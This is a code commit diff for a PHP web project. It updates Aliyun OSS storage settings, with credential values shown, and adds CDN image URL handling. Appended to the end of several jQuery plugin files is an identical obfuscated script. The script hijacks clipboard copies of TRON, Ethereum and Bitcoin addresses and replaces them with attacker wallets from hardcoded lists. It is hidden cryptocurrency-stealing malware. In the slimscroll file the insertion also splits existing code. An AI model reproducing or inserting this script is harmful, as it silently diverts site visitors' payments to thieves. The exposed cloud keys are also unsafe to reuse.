'content' => [],
'value' => 'lKKbHmm6BBQ9eka3mYiBb96F8kawf0',
'value' => '43euicRkkzlLjGTYzFYkTupcW7N5w3',
'rule' => 'required',
'msg' => '',
'tip' => '',
@ -30,7 +30,7 @@ return [
'title' => 'Bucket名称',
'type' => 'string',
'content' => [],
'value' => 'nvlovers',
'value' => 'hello12312312',
'rule' => 'required;bucket',
'msg' => '',
'tip' => '阿里云OSS的空间名',
@ -42,7 +42,7 @@ return [
'title' => 'Endpoint',
'type' => 'string',
'content' => [],
'value' => 'oss-cn-qingdao.aliyuncs.com',
'value' => 'oss-cn-hangzhou.aliyuncs.com',
'rule' => 'required;endpoint',
'msg' => '',
'tip' => '请填写从阿里云存储获取的Endpoint',
@ -54,7 +54,7 @@ return [
'title' => 'CDN地址',
'type' => 'string',
'content' => [],
'value' => 'https://nvlovers.oss-cn-qingdao.aliyuncs.com',
'value' => 'https://hello12312312.oss-cn-hangzhou.aliyuncs.com',
'rule' => 'required;cdnurl',
'msg' => '',
'tip' => '请填写CDN地址必须以http(s)://开头',

View File

@ -33,6 +33,17 @@ class Gifts extends Model
public static function getList($where = [], $order = 'weigh desc', $field = null, $limit = null)
{
$list = self::where($where)->order($order)->field($field)->paginate();
// 处理图片 URL添加 CDN 域名
$cdnurl = \think\Config::get('upload.cdnurl');
if ($cdnurl && !empty($list)) {
foreach ($list as &$item) {
if (!empty($item['image']) && strpos($item['image'], 'http') !== 0) {
$item['image'] = $cdnurl . $item['image'];
}
}
}
return $list;
}

View File

@ -9,7 +9,7 @@ return [
/**
* CDN地址
*/
'cdnurl' => '',
'cdnurl' => 'https://hello12312312.oss-cn-hangzhou.aliyuncs.com',
/**
* 文件保存格式
*/

File diff suppressed because it is too large Load Diff

View File

@ -244,5 +244,3 @@
};
})(jQuery);
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

View File

@ -404,5 +404,3 @@
return this;
};
}));
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

File diff suppressed because one or more lines are too long

View File

@ -384,5 +384,3 @@
};
})(jQuery);
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

View File

@ -472,5 +472,3 @@
});
})(jQuery);
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

View File

@ -13,5 +13,4 @@ h);b.css("height",h)}else"height"in f&&(h=f.height,b.parent().css("height",h),b.
width:a.width,height:a.height});var m=e("<div></div>").addClass(a.railClass).css({width:a.size,height:"100%",position:"absolute",top:0,display:a.alwaysVisible&&a.railVisible?"block":"none","border-radius":a.railBorderRadius,background:a.railColor,opacity:a.railOpacity,zIndex:90}),c=e("<div></div>").addClass(a.barClass).css({background:a.color,width:a.size,position:"absolute",top:0,opacity:a.opacity,display:a.alwaysVisible?"block":"none","border-radius":a.borderRadius,BorderRadius:a.borderRadius,MozBorderRadius:a.borderRadius,
WebkitBorderRadius:a.borderRadius,zIndex:99}),h="right"==a.position?{right:a.distance}:{left:a.distance};m.css(h);c.css(h);b.wrap(q);b.parent().append(c);b.parent().append(m);a.railDraggable&&c.bind("mousedown",function(a){var b=e(document);z=!0;t=parseFloat(c.css("top"));pageY=a.pageY;b.bind("mousemove.slimscroll",function(a){currTop=t+a.pageY-pageY;c.css("top",currTop);n(0,c.position().top,!1)});b.bind("mouseup.slimscroll",function(a){z=!1;p();b.unbind(".slimscroll")});return!1}).bind("selectstart.slimscroll",
function(a){a.stopPropagation();a.preventDefault();return!1});m.hover(function(){w()},function(){p()});c.hover(function(){y=!0},function(){y=!1});b.hover(function(){r=!0;w();p()},function(){r=!1;p()});b.bind("touchstart",function(a,b){a.originalEvent.touches.length&&(A=a.originalEvent.touches[0].pageY)});b.bind("touchmove",function(b){k||b.originalEvent.preventDefault();b.originalEvent.touches.length&&(n((A-b.originalEvent.touches[0].pageY)/a.touchScrollStep,!0),A=b.originalEvent.touches[0].pageY)});
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);

Some files were not shown because too many files have changed in this diff Show More